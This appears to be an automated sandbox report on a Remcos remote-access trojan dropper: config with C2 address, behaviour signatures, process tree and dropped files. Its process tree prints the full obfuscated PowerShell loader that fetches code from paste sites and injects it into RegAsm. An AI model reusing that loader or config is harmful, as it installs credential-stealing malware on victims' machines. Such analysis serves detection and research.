Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    08/03/2026, 07:13

General

  • Target
    ad468c45522cddd5c412a6a65269b388.js
  • Size 33KB
  • Sample260308-h2blesc131
  • SHA256 08f4e43fac6f13d0e30b38273d7e2885a76cc5024b91dc2a1bb9ca971d47786e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • remcos

Version
  • 7.2.1 Pro

Botnet
  • RemoteHost

C2
  • 192.3.27.141:8087

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-QR3EYI

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Detected Nirsoft tools 1 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 4 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\ad468c45522cddd5c412a6a65269b388.js
    1⤵
      PID:1008
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell "$ddsfdgdfhdjhsdfgdgo = 'DQAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMADQAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIADQAKACQAYgA2ADQAPQAnAGQAWABOAHAAYgBtAGMAZwBVADMAbAB6AGQARwBWAHQATwB5AEIAMQBjADIAbAB1AFoAeQBCAFQAZQBYAE4AMABaAFcAMAB1AFUAbQBWAG0AYgBHAFYAagBkAEcAbAB2AGIAagBzAGcAYwBIAFYAaQBiAEcAbABqAEkARwBOAHMAWQBYAE4AegBJAEUAUgB2AGIAVwBGAHAAYgBf#AHgAdgBZAFcAUgBsAGMAbgB0AHcAZABXAEoAcwBhAFcATQBnAGMAMwBSAGgAZABHAGwAagBJAEUARgB6AGMAMgBWAHQAWQBtAHgANQBJAEUAeAB2AFkAVwBSAEIAYwAzAE4AbABiAFcASgBzAGUAUwBoAGkAZQBYAFIAbABXADEAMABnAFkAaQBsADcAYwBtAFYAMABkAFgASgB1AEkARQBGAHcAYwBFAFIAdgBiAFcARgBwAGIAaQA1AEQAZABYAEoAeQBaAFcANQAwAFIARwA5AHQAWQBXAGwAdQBMAGsAeAB2AFkAVwBRAG8AWQBpAGsANwBmAFgAMAA9ACcADQAKAEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AaQB0AGkAbwBuACAAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIANgA0ACkAKQApAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABkACgAJABsACkAewAkAHcAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACgARwBlAHQALQBSAGEAbgBkAG8AbQAgACQAbAAgAC0AQwBvAHUAbgB0ACAAJABsAC4AQwBvAHUAbgB0ACkAfAAlAHsAdAByAHkAewByAGUAdAB1AHIAbgAgACQAdwAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABfACkAfQBjAGEAdABjAGgAewB9AH0AfQANAAoAZgB1AG4AYwB0AGkAbwBuACAAaQAoACQAYQAsACQAdAAsACQAbQAsACQAcAA9AEAAKAApACkAewAkAHkAPQBbAEQAbwBtAGEAaQBuAEwAbwBhAGQAZQByAF0AOgA6AEwAbwBhAGQAQQBzAHMAZQBtAGIAbAB5ACgAJABhACkAOwAkAHIAPQAkAHkALgBHAGUAdABUAHkAcABlAHMAKAApAHwAPwB7ACQAXwAuAEYAdQBsAGwATgBhAG0AZQAgAC0AZQBxACAAJAB0AH0AOwAkAG4APQAkAHIALgBHAGUAdABNAGUAdABoAG8AZAAoACQAbQAsACgAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQgBpAG4AZABpAG4AZwBGAGwAYQBnAHMAXQAnAFAAdQBiAGwAaQBjACwATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAsAEkAbgBzAHQAYQBuAGMAZQAnACkAKQA7ACQAbwA9AGkAZgAoACEAJABuAC4ASQBzAFMAdABhAHQAaQBjACkAewBbAEEAYwB0AGkAdgBhAHQAbwByAF0AOgA6AEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACQAcgApAH0AOwAkAG4ALgBJAG4AdgBvAGsAZQAoACQAbwAsACQAcAApAH0ADQAKAA0ACgAkAGsAPQBAACgAKAAnAGgAdAB0AHAAcwA6AC8ALwB5AGEAcwBvAC4AcwB1AC8AcgBhAHcALwBVAHAAeABDADgATwBKAFgAJwApACwAKAAnAGgAdAB0AHAAcwA6AC8ALwBwAGEAcwB0AGUAZgB5AC4AYQBwAHAALwBzAEwAQwA3AEoAcABf#AHAALwByAGEAdwAnACkAKQANAAoAaQBmACgAKAAkAGcAPQBkACAAJABf#ACkALQBhAG4AZAAoACQAdAA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGcAKQApAC0AbQBhAHQAYwBoACcAPAA8AEIAQQBTACcAIAAf#ACAAJwBFADYANABfAFMAVABBAFIAVAA+AD4AKAAuACoAPwApADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnACkAewANAAoAIAAgACQAZwBnACAAPQAgACcAdAB4AHQALgByAGEAcgBpAGsAZwBkAC8AdAB5AGgAdQBvAHIAdQBlAC8AdQBlAC4AcwBuAGQAeQAuAGwAaQBmAC8ALwA6AGcAcwBmAGYAcwBmACcAIAA7ACAAJABnAGcAIAA9ACAAJABnAGcALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgACQAZwBnAC4ATABlAG4AZwB0AGgAIAAtACAANgApAA0ACgAgACAAIAAgAGkAIAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABNAGEAdABjAGgAZQBzAFsAMQBdACkAKQAgACcAbQB5AHAAcgBvAGcAcgBhAG0ALgBIAG8AbQBlAGUAcwAnACAAJwByAHUAbgBzAHMAJwAgAEAAKAAkAGcAZwAsACAAJwAwACcALAAgACcAJwAsACAAJwBSAGUAZwBBAHMAbQAnACwAIAAnADAAJwAgACwAIAAnAHgANgA0ACcAKQANAAoAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAfABzAG8AcgB0ACAAQwBQAFUAIAAtAGQAZQBzAGMAfABzAGUAbABlAGMAdAAgAC0AZgBpAHIAcwB0ACAANQB8AGYAdAAgAE4AYQBtAGUALABDAFAAVQAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgAA==';$OhgfWjuxD = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsfdgdfhdjhsdfgdgo.replace('f#','r')));iex $OhgfWjuxD"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2376
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\glf4ondj\glf4ondj.cmdline"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1924
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES12C8.tmp" "c:\Users\Admin\AppData\Local\Temp\glf4ondj\CSCD860E73BAA054DE1AD37A98750A6371.TMP"
          3⤵
            PID:5956
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"
          2⤵
          • Suspicious use of SetThreadContext
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:6064
          • C:\Windows\SysWOW64\userinit.exe
            /stext "C:\Users\Admin\AppData\Local\Temp\tfaajilhjuqwhjlagpdrjpbe"
            3⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4432
          • C:\Windows\SysWOW64\userinit.exe
            /stext "C:\Users\Admin\AppData\Local\Temp\vzgskawbxcijrphepaxsucovtjm"
            3⤵
            • Accesses Microsoft Outlook accounts
            • System Location Discovery: System Language Discovery
            PID:3708
          • C:\Windows\SysWOW64\userinit.exe
            /stext "C:\Users\Admin\AppData\Local\Temp\gbldllhclkantdvizkkmfhiecqwgqk"
            3⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1972

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            logs.dat

            • Path C:\ProgramData\remcos\logs.dat
            • Size 144B
            • SHA256 a0eccdcd81f36c7aa82c033cdcf9bc26abbf116971ace7aefd63d9ccb6d41086
            • MD5 SHA1 SHA512 TLSH

            RES12C8.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RES12C8.tmp
            • Size 1KB
            • SHA256 cf1d49462798c9a89cab94e6ca062b639440fe048f6878d61434cb3de690430e
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_4jklojsx.gyn.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4jklojsx.gyn.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            glf4ondj.dll

            • Path C:\Users\Admin\AppData\Local\Temp\glf4ondj\glf4ondj.dll
            • Size 3KB
            • SHA256 21ad3b46140668edda0d169040d15d838a58ca92c7d5fbce59a0f7a087bda170
            • MD5 SHA1 SHA512 TLSH

            tfaajilhjuqwhjlagpdrjpbe

            • Path C:\Users\Admin\AppData\Local\Temp\tfaajilhjuqwhjlagpdrjpbe
            • Size 2B
            • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
            • MD5 SHA1 SHA512

            CSCD860E73BAA054DE1AD37A98750A6371.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\glf4ondj\CSCD860E73BAA054DE1AD37A98750A6371.TMP
            • Size 652B
            • SHA256 1fea840b2c2e1d7ee2afa567ccca49c4f606834b5d4d2ebb2b9e04165e513adf
            • MD5 SHA1 SHA512 TLSH

            glf4ondj.0.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\glf4ondj\glf4ondj.0.cs
            • Size 155B
            • SHA256 0faaef9012132596f03ada696a8860a05114e0d499ff9c4a84c6da7da5e24be4
            • MD5 SHA1 SHA512 TLSH

            glf4ondj.cmdline

            • Path \??\c:\Users\Admin\AppData\Local\Temp\glf4ondj\glf4ondj.cmdline
            • Size 369B
            • SHA256 9309771a0e9f7943f56be9bff45f2f310abc734d21632e6cdde7316bf3f7d308
            • MD5 SHA1 SHA512 TLSH

            memory/1008-0-0x000001CB091D0000-0x000001CB091DC000-memory.dmp

            memory/1924-23-0x0000024AB2740000-0x0000024AB274C000-memory.dmp

            memory/1972-45-0x0000000000400000-0x0000000000424000-memory.dmp

            memory/1972-46-0x0000000000DD0000-0x000000000105B000-memory.dmp

            memory/1972-44-0x0000000000400000-0x0000000000424000-memory.dmp

            memory/2376-40-0x0000020311A30000-0x0000020311A3C000-memory.dmp

            memory/2376-26-0x000002032BE70000-0x000002032BE80000-memory.dmp

            memory/2376-1-0x000002032B8F0000-0x000002032B900000-memory.dmp

            memory/2376-10-0x000002032B8F0000-0x000002032B900000-memory.dmp

            memory/2376-25-0x000002032B8E0000-0x000002032B8E8000-memory.dmp

            memory/2376-3-0x000002032B840000-0x000002032B862000-memory.dmp

            memory/2376-2-0x000002032B8F0000-0x000002032B900000-memory.dmp

            memory/2376-41-0x0000020313370000-0x0000020313382000-memory.dmp

            memory/3708-50-0x0000000000FD0000-0x000000000125B000-memory.dmp

            memory/3708-51-0x0000000000400000-0x000000000045E000-memory.dmp

            memory/3708-43-0x0000000000400000-0x000000000045E000-memory.dmp

            memory/4432-54-0x0000000001080000-0x000000000130B000-memory.dmp

            memory/4432-53-0x0000000000400000-0x000000000047E000-memory.dmp

            memory/4432-42-0x0000000000400000-0x000000000047E000-memory.dmp

            memory/5956-20-0x0000017A02680000-0x0000017A0268C000-memory.dmp

            memory/6064-57-0x0000000180000000-0x000000018001D000-memory.dmp

            memory/6064-61-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/6064-30-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/6064-29-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/6064-35-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/6064-34-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/6064-33-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/6064-36-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/6064-60-0x0000000180000000-0x000000018001D000-memory.dmp

            memory/6064-27-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/6064-59-0x0000000180000000-0x000000018001D000-memory.dmp

            memory/6064-65-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/6064-66-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/6064-37-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/6064-74-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/6064-73-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/6064-82-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/6064-81-0x0000000140000000-0x00000001400A8000-memory.dmp

            memory/6064-97-0x0000000140000000-0x00000001400A8000-memory.dmp